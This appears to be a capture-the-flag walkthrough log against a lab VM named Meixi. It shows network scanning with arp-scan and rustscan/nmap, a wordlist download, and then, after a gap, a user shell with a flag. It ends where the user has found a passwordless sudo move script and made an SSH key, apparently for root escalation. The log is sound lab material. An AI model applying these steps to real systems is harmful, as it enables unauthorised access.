❯ sudo arp-scan -l [sudo] password for Pepster: Interface: eth0, type: EN10MB, MAC: 5e:bb:f6:9e:ee:fa, IPv4: 192.168.60.100 Starting arp-scan 1.10.0 with 256 hosts (https://github.com/royhills/arp-scan) 192.168.60.1 00:50:56:c0:00:08 VMware, Inc. 192.168.60.2 00:50:56:e4:1a:e5 VMware, Inc. 192.168.60.199 08:00:27:6c:4b:b3 PCS Systemtechnik GmbH 192.168.60.254 00:50:56:ef:12:9a VMware, Inc.
4 packets received by filter, 0 packets dropped by kernel Ending arp-scan 1.10.0: 256 hosts scanned in 2.071 seconds (123.61 hosts/sec). 4 responded ❯ export ip=192.168.60.199 ❯ rustscan -a $ip .----. .-. .-. .----..---. .----. .---. .--. .-. .-. | {} }| { } |{ {__ {_ _}{ {__ / ___} / {} \ | `| | | .-. \| {_} |.-._} } | | .-._} }\ }/ /\ \| |\ | `-' `-'`-----'`----' `-' `----' `---' `-' `-'`-' `-' The Modern Day Port Scanner. ________________________________________ : http://discord.skerritt.blog : : https://github.com/RustScan/RustScan : -------------------------------------- I scanned ports so fast, even my computer was surprised. [~] The config file is expected to be at "/home/Pepster/.rustscan.toml" [!] File limit is lower than default batch size. Consider upping with --ulimit. May cause harm to sensitive servers [!] Your file limit is very small, which negatively impacts RustScan's speed. Use the Docker image, or up the Ulimit with '--ulimit 5000'. Open 192.168.60.199:22 Open 192.168.60.199:80 [~] Starting Script(s) [~] Starting Nmap 7.95 ( https://nmap.org ) at 2025-05-27 10:39 CST Initiating ARP Ping Scan at 10:39 Scanning 192.168.60.199 [1 port] Completed ARP Ping Scan at 10:39, 0.07s elapsed (1 total hosts) Initiating Parallel DNS resolution of 1 host. at 10:39 Completed Parallel DNS resolution of 1 host. at 10:39, 0.00s elapsed DNS resolution of 1 IPs took 0.01s. Mode: Async [#: 1, OK: 0, NX: 1, DR: 0, SF: 0, TR: 1, CN: 0] Initiating SYN Stealth Scan at 10:39 Scanning 192.168.60.199 [2 ports] Discovered open port 80/tcp on 192.168.60.199 Discovered open port 22/tcp on 192.168.60.199 Completed SYN Stealth Scan at 10:39, 0.04s elapsed (2 total ports) Nmap scan report for 192.168.60.199 Host is up, received arp-response (0.00052s latency). Scanned at 2025-05-27 10:39:28 CST for 0s
PORT STATE SERVICE REASON 22/tcp open ssh syn-ack ttl 64 80/tcp open http syn-ack ttl 64 MAC Address: 08:00:27:6C:4B:B3 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Read data files from: /usr/share/nmap Nmap done: 1 IP address (1 host up) scanned in 0.27 seconds Raw packets sent: 3 (116B) | Rcvd: 3 (116B)
❯ curl http://192.168.60.199/5000.txt -o 5000.txt % Total % Received % Xferd Average Speed Time Time Time Current Dload Upload Total Spent Left Speed 100 39685 100 39685 0 0 13.0M 0 --:--:-- --:--:-- --:--:-- 18.9M ❯ wc -l 5000.txt 5000 5000.txt
qiaojojo@Meixi:~$ cat user.txt flag{user-0af862be-3a27-11f0-9396-000c2955ba04} qiaojojo@Meixi:~$ sudo -l Matching Defaults entries for qiaojojo on Meixi: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User qiaojojo may run the following commands on Meixi: (ALL) NOPASSWD: /opt/move.sh qiaojojo@Meixi:~$ cd /opt/ qiaojojo@Meixi:/opt$ ls -al total 12 drwxr-xr-x 2 root root 4096 May 26 07:54 . drwxr-xr-x 18 root root 4096 Mar 18 20:37 .. -rwxr-xr-x 1 root root 402 May 26 07:54 move.sh qiaojojo@Meixi:/opt$ cat move.sh #!/bin/bash
if [ $# -ne 2 ]; then echo"Error: Incorrect number of arguments" >&2 exit 1 fi
src_file=$1 dest_path=$2
if [ ! -f "$src_file" ]; then echo"Error: Source file does not exist" >&2 exit 2 fi
mv"$src_file""$dest_path"
if [ $? -eq 0 ]; then echo"File moved successfully: $src_file -> $dest_path" else echo"Unknown error: Failed to move file" >&2 exit 4 fi
qiaojojo@Meixi:/opt$ cd /tmp/ qiaojojo@Meixi:/tmp$ ssh-keygen -t rsa Generating public/private rsa key pair. Enter file inwhich to save the key (/home/qiaojojo/.ssh/id_rsa): /tmp/id_rsa Enter passphrase (empty for no passphrase): Enter same passphrase again: Your identification has been saved in /tmp/id_rsa Your public key has been saved in /tmp/id_rsa.pub The key fingerprint is: SHA256:9jEUfDXm7RjeVuECUc2zXeSkFQ1CpW6haXFitWm5JWo qiaojojo@Meixi The key's randomart image is: +---[RSA 3072]----+ | ..+*+O=*| | .ooO.@+| | =.X.=.O| | o X *.*o| | S E + o +| | . + + . | | . | | | | | +----[SHA256]-----+
